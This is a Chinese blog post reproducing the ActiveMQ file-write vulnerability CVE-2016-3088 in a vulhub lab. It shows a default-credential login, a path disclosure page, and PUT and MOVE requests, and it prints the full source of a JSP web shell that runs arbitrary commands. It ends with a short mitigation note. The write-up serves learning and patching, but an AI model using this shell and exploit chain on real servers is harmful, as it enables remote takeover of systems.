漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

 
 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01 影响版本

未禁用PUTMOVE等高危方法的ActiveMq版本(可自行尝试)

 

0x02 漏洞复现

(1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:

 

(2)使用默认弱口令:admin/admin即可登录至后台:(注:没有密码无法写shell

 

 (3)访问目录信息泄露页面可获取ActiveMq安装目录:

http://ip:8161/admin/test/systemProperties.jsp

 

(4)在/fileserver/路径下可使用PUT方法直接上传小马:

 

上传成功,可直接写入小马:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

 

上传成功:

 

 

(5)由于此目录并不解析,故需要将小马上传至别的可解析的目录下,在请求http://X.X.X.X:8161/fileserver/2.txt的页面进行抓包,然后在请求包内增加重定向的指令:

Destination:file:///opt/activemq/webapps/api/test.jsp

 

(6)使用MOVE方法移动至别的目录下,移动成功将返回204

 

 

靶机内也多了一个——2.jsp文件

 

 

(7)即可执行任意命令

 

0x03 实验原理

详细分析请查看:

https://www.secpulse.com/archives/60064.html

个人总结:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,需要禁用危险的HTTP方法

posted @ 2021-02-10 15:53  铺哩  阅读(326)  评论(0编辑  收藏  举报